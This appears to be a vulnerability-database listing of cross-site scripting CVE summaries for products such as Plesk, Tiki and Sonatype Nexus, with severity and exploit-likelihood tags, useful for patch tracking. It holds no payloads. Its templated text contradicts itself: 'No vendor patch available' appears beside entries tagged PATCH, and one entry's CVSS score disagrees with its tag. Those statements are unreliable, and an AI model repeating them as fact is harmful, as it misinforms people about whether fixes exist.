A GET-based XSS reflected vulnerability in Plesk Onyx 17.8.11 allows remote unauthenticated users to inject arbitrary JavaScript, HTML, or CSS via a GET parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Onyx
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A GET-based XSS reflected vulnerability in Plesk Obsidian 18.0.17 allows remote unauthenticated users to inject arbitrary JavaScript, HTML, or CSS via a GET parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Obsidian
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Tiki before 21.2 allows XSS because [\s\/"\'] is not properly considered in lib/core/TikiFilter/PreventXss.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Tiki
NVD
EPSS 4% CVSS 6.1
MEDIUM POC This Month

Extreme Management Center 8.4.1.24 allows unauthenticated reflected XSS via a parameter in a GET request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Extreme Management Center
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM Financial Transaction Manager 3.2.4 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Financial Transaction Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Sonatype Nexus Repository Manager OSS/Pro versions before 3.25.1 allow XSS (Issue 2 of 2). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nexus Repository Manager 3
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Sonatype Nexus Repository Manager OSS/Pro versions before 3.25.1 allow XSS (issue 1 of 2). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nexus Repository Manager 3
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39308

Related CWEs

MITRE ATT&CK

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